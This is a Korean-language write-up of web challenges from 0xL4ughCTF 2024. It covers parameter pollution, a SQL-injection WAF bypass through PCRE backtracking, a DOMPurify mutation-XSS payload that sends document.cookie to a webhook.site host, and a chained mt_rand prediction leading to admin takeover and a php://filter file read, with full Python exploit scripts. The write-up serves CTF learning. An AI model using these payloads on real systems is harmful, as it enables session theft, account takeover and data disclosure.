0xL4ughCTF 2024
CTFtime: https://ctftime.org/event/2216
Official URL: https://ctf24.0xl4ugh.com/
Team Score
대회 당시 웹 문제는 총 1문제를 풀었고, 나머지 웹 문제들은 대회 이후 다시 풀어보고 Writeup을 작성했다.
Writeup
Micro
116 solves / 50 points
PHP는 외부 서버에서 Flask는 내부 서버에서 돌아간다.
app.py
def authenticate_user(username, password):
try:
conn = mysql.connector.connect(
host=mysql_host,
user=mysql_user,
password=mysql_password,
database=mysql_db
)
cursor = conn.cursor()
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, password))
result = cursor.fetchone()
cursor.close()
conn.close()
return result
except mysql.connector.Error as error:
print("Error while connecting to MySQL", error)
return None
@app.route('/login', methods=['POST'])
def handle_request():
try:
username = request.form.get('username')
password = hashlib.md5(request.form.get('password').encode()).hexdigest()
# Authenticate user
user_data = authenticate_user(username, password)
if user_data:
return "0xL4ugh{Test_Flag}"
else:
return "Invalid credentials"
except:
return "internal error happened"
내부 서버에 admin
계정으로 로그인하면 플래그를 얻을 수 있다.
init.db
insert into users(id,username,password) values('1','admin','21232f297a57a5a743894a0e4a801fc3');
아이디: admin, 패스워드: admin
src/index.php
<?php
error_reporting(0);
function Check_Admin($input)
{
$input=iconv('UTF-8', 'US-ASCII//TRANSLIT', $input); // Just to Normalize the string to UTF-8
if(preg_match("/admin/i",$input))
{
return true;
}
else
{
return false;
}
}
function send_to_api($data)
{
echo $data;
$api_url = 'http://127.0.0.1:5000/login';
$options = [
'http' => [
'method' => 'POST',
'header' => 'Content-Type: application/x-www-form-urlencoded',
'content' => $data,
],
];
$context = stream_context_create($options);
$result = file_get_contents($api_url, false, $context);
if ($result !== false)
{
echo "Response from Flask app: $result";
}
else
{
echo "Failed to communicate with Flask app.";
}
}
if(isset($_POST['login-submit']))
{
if(!empty($_POST['username'])&&!empty($_POST['password']))
{
$username=$_POST['username'];
$password=md5($_POST['password']);
if(Check_Admin($username) && $_SERVER['REMOTE_ADDR']!=="127.0.0.1")
{
die("Admin Login allowed from localhost only : )");
}
else
{
send_to_api(file_get_contents("php://input"));
}
}
else
{
echo "<script>alert('Please Fill All Fields')</script>";
}
}
?>
PHP로 구성된 외부 웹사이트에 방문하면 아이디와 패스워드를 입력 받고, Check_Admin()
함수를 통해 아이디가 admin
인지 검사한다.
유니코드, 대문자 등을 사용해도 우회할 수 없도록 되어있다.
하지만, Flask와 PHP의 Request Body 처리 방식이 다르다는 점을 활용하여 우회가 가능하다.
Flask의 경우, parameter1=value1¶meter1=value2¶meter1=value3
값을 넘기면, 가장 먼저 입력된 parameter1=value1
로 처리한다.
반면, PHP의 경우, parameter1=value1¶meter1=value2¶meter1=value3
값을 넘기면, 가장 마지막에 입력된 parameter1=value3
로 처리한다.
이러한 차이를 활용하여 우회해주면 된다.
Exploit Code
Flag
0xL4ugh{M1cr0_Serv!C3_My_Bruuh}
Simple WAF
42 solves / 198 points
index.php
<?php
require_once("db.php");
function waf($input)
{
if(preg_match("/([^a-z])+/s",$input))
{
return true;
}
else
{
return false;
}
}
if(isset($_POST['login-submit']))
{
if(!empty($_POST['username'])&&!empty($_POST['password']))
{
$username=$_POST['username'];
$password=md5($_POST['password']);
if(waf($username))
{
die("WAF Block");
}
else
{
$res = $conn->query("select * from users where username='$username' and password='$password'");
if($res->num_rows ===1)
{
echo "0xL4ugh{Fake_Flag}";
}
else
{
echo "<script>alert('Wrong Creds')</script>";
}
}
}
else
{
echo "<script>alert('Please Fill All Fields')</script>";
}
}
?>
SQL Injection 취약점이 존재하고, admin 계정에 로그인해야한다. 하지만, waf()
함수를 통해 입력 값을 검증하고 있다.
개행을 통해 우회해보려고 하였으나 preg_match()
에 s
옵션이 걸려있어 불가능함을 깨닫고, preg_match()
의 반환 값을 제대로 검사하지 않아 error
를 발생시켜 waf()
를 우회해야겠다고 생각했다.
https://www.php.net/manual/en/function.preg-match.php
공식 문서를 보면, 정규식에 매칭되지 않으면 0
을 반환하고, 에러가 발생하면 false
을 반환한다고 되어있다.
preg_match()
함수는 pcre
함수들 중 하나로 pcre
에 의해 실행된다.
http://php.adamharvey.name/manual/kr/pcre.configuration.php
pcre
는 pcre.backtrack_limit
,pcre.recursion_limit
,pcre.jit
변수를 갖는데 이 중 pcre.backtrack_limit
변수는 PHP < 5.3.7
에서 Default 값 100,000으로 설정되어 있다.
설정된 pcre.backtrack_limit
값을 초과하면 preg_match()
함수에서 false
를 반환해서 우회가 가능하다.
즉, username
값의 길이를 100,000 이상으로 설정하고 SQL Injection을 수행해주면 된다.
Exploit Code
import requests
url = "http://20.115.83.90:1339"
r = requests.post(
f"{url}/",
data={
"username": " "*100000 + "' or username='admin'#",
"password":"x",
"login-submit": "x"
})
print(r.status_code)
print(r.text)
Flag
0xL4ugh{0ohh_You_Brok3_My_Wh1te_List!!!}
DamnPurify
25 solves / 397 points
index.php
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<script src="https://cure53.de/purify.js"></script>
</head>
<body>
<script>
window.onload = () => {
const params = new URLSearchParams(location.search);
injection = params.get("xss");
if (injection)
{
injection = DOMPurify.sanitize(injection);
document.body.innerHTML = injection.replace(/<style>.*<\/style>/gs, "");
}
};
</script>
</html>
XSS 공격을 막기 위해 DOMPurify
를 사용하고 있다. 하지만, <style>
태그를 포함하여 안에 요소들은 ""
빈 문자열 형태로 변환되고 document.body.innerHTML
에 들어가기 때문에 이를 충분히 우회할 수 있다.
http://20.115.83.90:1337/?xss=<svg><style></style><a id="</style><img src=x onerror=javascript:alert(1)>">
<style></style>
태그가 사라지면서 <img>
태그가 "
밖으로 나오게 되면서 XSS 취약점이 발생한다.
Exploit Code
/report.php
의 url
파라미터에 전달
http://127.0.0.1/?xss=<svg><style></style><a id="</style><img src=x onerror=javascript:location.href=`https://webhook.site/ff82dc39-2a77-4719-a8d2-7689bb425af9/?t=`%2Bdocument.cookie>">
Flag
0xL4ugh{Daamn_You_Should_Trust_me_0nllyyy}
Ghazy Corp
19 solves / 442 points
회원가입 페이지에서 계정을 생성하려하면 You must use email from our mail system at /mail
문구가 뜨면서 메일 시스템에 있는 메일을 사용해야 한다고 알려준다.
/mail/index.php
경로에서 계정 생성에 필요한 데이터를 넘겨주고, /register.php
회원가입 페이지로 돌아와 계정을 생성할 수 있다.
$data=safe_data($_POST);
$placeholders = implode(', ', array_fill(0, count($data), '?'));
$sql = "INSERT INTO users (" . implode(', ', array_keys($data)) . ") VALUES (" . $placeholders . ")";
$stmt = $conn->prepare($sql);
if ($stmt)
{
$types = str_repeat('s', count($data));
$stmt->bind_param($types, ...array_values($data));
if ($stmt->execute())
{
send_registration_mail($email);
echo "<script>alert('User Created Successfully');window.location.href='index.php';</script>";
}
else
{
echo "<script>alert('Error1')</script>";
}
$stmt->close();
}
/register.php
에서 회원가입 시 이메일과 패스워드만 처리하는 것이 아닌 다른 컬럼 요소 값 또한 변경시킬 수 있는 문제가 존재한다.
CREATE TABLE IF NOT EXISTS `users` (
`id` INT AUTO_INCREMENT PRIMARY KEY,
`email` VARCHAR(255) NOT NULL,
`password` VARCHAR(50) NOT NULL,
`level` INT(3) DEFAULT 1,
`confirmed` INT(1) DEFAULT 0
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
해당 문제로 인해 users
테이블에 level
, confirmed
값이 유저에 의해 변경될 수 있다. 다시 말해, 로직 버그로 인해 confirmed=1&level=226
값을 전달할 수 있다.
if($target_user['confirmed']===1)
{
$level=(int)$target_user['level'];
generate_reset_tokens($email,$level);
send_forget_password_mail($email);
echo "<script>window.location.href='reset_password.php';</script>";
}
confirmed
값이 1로 설정될 경우, /forget_password.php
의 위 코드를 실행시킬 수 있다.
function generate_reset_tokens($email,$level)
{
$_SESSION['reset_email']=$email;
$_SESSION['reset_token1']=mt_rand();
for($i=0;$i<$level;$i++)
{
mt_rand();
}
$_SESSION['reset_token2']=mt_rand();
// Generating another values in case the user entered wrong token
$_SESSION['reset_token3']=mt_rand();
$_SESSION['reset_token4']=mt_rand();
}
function send_forget_password_mail($email)
{
global $conn;
$email_id=guidv4();
$email_content="Here is your reset password tokens: ".$_SESSION['reset_token1'].", ".$_SESSION['reset_token2'];
$stmt=$conn->prepare("insert into mails(id,content,user_id) values(?,?,(select id from mail_users where email=?))");
$stmt->bind_param("sss", $email_id,$email_content,$email);
$stmt->execute();
}
/util.php
에서 mt_rand()
함수를 통해 임의의 토큰 값을 설정하고, 해당 이메일의 reset_token1
, reset_token2
토큰 값을 추가한다.
reset_password.php
if(!empty($_SESSION['reset_token1']) && !empty($_SESSION['reset_email']))
{
if(!empty($_GET['email']) && !empty($_GET['token1']) && !empty($_GET['token2']) && !empty($_GET['new_password']))
{
$email=$_GET['email'];
$token1=(int)$_GET['token1'];
$token2=(int)$_GET['token2'];
if(strlen($_GET['new_password']) < 10)
{
die("Plz choose password +10 chars");
}
$password=md5($_GET['new_password']);
if($token1 === $_SESSION['reset_token1'] && $token2===$_SESSION['reset_token2'] && $email===$_SESSION['reset_email'])
{
$uuid=guidv4();
$stmt=$conn->prepare("insert into admins(email,password,level,confirmed) values(?,?,1,1)"); // inserting instead of updating to avoid any conflict.
$stmt->bind_param("ss",$email,$password);
if($stmt->execute())
{
unset($_SESSION['reset_email']);
unset($_SESSION['reset_token1']);
unset($_SESSION['reset_token2']);
echo "<script>alert('User Updated Successfully');window.location.href='index.php';</script>";
}
}
else
{
unset($_SESSION['reset_token1']);
unset($_SESSION['reset_token2']);
// to be implemented : send mail with the new tokens
echo "<script>alert('Wrong Token');window.location.href='wrong_reset_token.php?email=$email';</script>";
}
}
else
{
echo "please enter email,token,new_password";
}
}
패스워드를 초기화를 위해 이메일, 토큰1, 토큰2를 입력받는다.
echo "<script>alert('Wrong Token');window.location.href='wrong_reset_token.php?email=$email';</script>";
하지만, 입력한 토큰 값이 실제 값과 다를 경우, else
문을 통해 wrong_reset_token.php
로 리다이렉션되며 입력한 이메일을 인자로 넘긴다.
if(!empty($_GET['email']) && !empty($_GET['token1']) && !empty($_GET['token2']) && !empty($_GET['new_password']))
{
$email=$_GET['email'];
$token1=(int)$_GET['token1'];
$token2=(int)$_GET['token2'];
if(strlen($_GET['new_password']) < 10)
{
die("Plz choose password +10 chars");
}
$password=md5($_GET['new_password']);
if($token1 ===$_SESSION['reset_token3'] && $token2 ===$_SESSION['reset_token4'] )
{
if ($email=="admin@ghazycorp.com")
{
$stmt=$conn->prepare("insert into admins(email,password,level,confirmed) values(?,?,1,1)"); // inserting instead of updating to avoid any conflict.
$stmt->bind_param("ss", $email,$password);
if($stmt->execute())
{
unset($_SESSION['reset_token3']);
unset($_SESSION['reset_token4']);
echo "<script>alert('User Updated Successfully');window.location.href='index.php';</script>";
}
}
else
{
$stmt=$conn->prepare("insert into users(email,password,level,confirmed) values(?,?,1,1)"); // inserting instead of updating to avoid any conflict.
$stmt->bind_param("ss", $email,$password);
if($stmt->execute())
{
echo "<script>alert('User Updated Successfully');window.location.href='index.php';</script>";
}
}
}
else
{
echo "<script>alert('Wrong Token');window.location.href=history.back();</script>";
}
}
reset_password.php
에서 입력한 토큰1, 토큰2 값이 토큰3, 토큰4 값과 같다면 새로운 패스워드를 설정할 수 있어 토큰3, 토큰4를 알아내면 된다.
그럼, 토큰3, 토큰4를 어떻게 알아낼 수 있을까?
mt_rand()
함수는 수식을 통해 랜덤 값을 만들고 있기에 만들어진 두 개의 값을 알고 있다면, 역연산을 통해 다른 값들을 구할 수 있다.
https://github.com/ambionics/mt_rand-reverse
mt_rand-reverse
를 사용하여 토큰3, 토큰4 값을 알아내고, 세션에 이메일 값을 저장하지 않고 있고, 비교 또한 하지 않고 있기 때문에 admin@ghazycorp.com
이메일을 전달하면 admin
계정의 패스워드를 수정할 수 있다.
if(!isset($_SESSION['user_id'])||!isset($_SESSION['role'])||$_SESSION['role']!=="admin" )
{
die("Not Authorized");
}
echo "Still Under Development<Br>";
if(!empty($_POST['img']))
{
$name=$_POST['img'];
$content=file_get_contents($name);
if(bin2hex(substr($content,1,3))==="504e47") // PNG magic bytes
{
echo "<img src=data:base64,".base64_encode($content);
}
else
{
echo "Not allowed";
}
}
admin
계정 로그인 후, /user_photo.php
에서 php://filter/
를 사용하여 XPNG
로 설정해주고 Flag
값을 읽어오면 된다.
전체적인 과정을 요약하면 아래와 같다.
confirmed=1&level=226
을 추가하여 계정 등록- 로그인 후,
/mail/mail.php
에서uuid
값을 읽기 /mail/mail_view.php
에서reset_token1
,reset_token2
값을 읽기reset_token1
,reset_token2
값으로 역연산을 통해reset_token3
,reset_token4
값을 알아내기wrong_reset_token.php
에서admin
패스워드 변경php://filter/
로 Flag 읽기
Exploit Code
import requests
import random, os, base64, binascii
from bs4 import BeautifulSoup as bs
HOST = "http://20.55.48.101"
s = requests.session()
email = random.randbytes(8).hex() + '@x.com'
password = random.randbytes(8).hex()
print("userid:", email)
print("userpw:", password)
r = s.post(f"{HOST}/mail/",
data={
"email": email,
"password":password,
**{
"register-submit": 1,
"confirm-password": password
}
})
print(r.status_code)
r = s.post(f"{HOST}/register.php",
data={
"email": email,
"password":password,
"level":226,
"confirmed":1,
**{'register-submit': 1}
})
print(r.status_code)
r = s.post(f"{HOST}/",
data={
"email": email,
"password": password,
**{"login-submit": 1}
})
print(r.status_code)
# print(r.text)
r = s.post(f"{HOST}/mail/",
data={
"email": email,
"password": password,
**{"login-submit": 1}
})
print(r.status_code)
# print(r.text)
r = s.post(f"{HOST}/forget_password.php",
data={
"email": email,
**{"recover-submit": 1}
})
print(r.status_code)
# print(r.text)
r = s.get(f"{HOST}/mail/mail.php")
# print(r.text)
soup = bs(r.text, "html.parser")
raw_data = soup.select(".list-group > a")[1]["href"]
idx = raw_data.find("id=") + 3
last_id = raw_data[idx: idx + 37]
r = s.get(f"{HOST}/mail/mail_view.php",
params={
"id": last_id
})
token1, token2 = r.text[r.text.find("tokens: ") + 8:r.text.find("<br>")].split(",")
token1, token2 = token1.strip(), token2.strip()
print("Token1:",token1, "Token2:",token2)
seed = os.popen(f"python3 ./mt_rand-reverse/reverse_mt_rand.py {token1} {token2} 0 1").read().strip()
_, token3 = os.popen(f"php ./mt_rand-reverse/display_mt_rand.php {seed} 1").read().strip().split()
_, token4 = os.popen(f"php ./mt_rand-reverse/display_mt_rand.php {seed} 2").read().strip().split()
admin_email = "admin@ghazycorp.com"
new_admin_password = "asdfasdfasdfasdfasdfasdf"
r = s.get(f"{HOST}/wrong_reset_token.php",
params={
"email": admin_email,
"token1": token3,
"token2": token4,
"new_password": new_admin_password
})
print(r.status_code)
print(r.text)
s = requests.session()
r = s.post(f"{HOST}/admin_login.php",
data={
"email": admin_email,
"password": new_admin_password,
**{"login-submit": 1}
})
print(r.text)
r = s.post(f"{HOST}/user_photo.php",
data={
"img":"php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|/resource=file:///flag.txt"
})
b1 = base64.b64decode(r.text[r.text.find("base64,")+7:]).decode('utf-8')
print("FLAG:", base64.b64decode(b1[:b1.find("+")] + "=="))
Flag
0xL4ugh{Ahhhhh_Hop3U_Did!t_by_Th3_Intended_W@@y}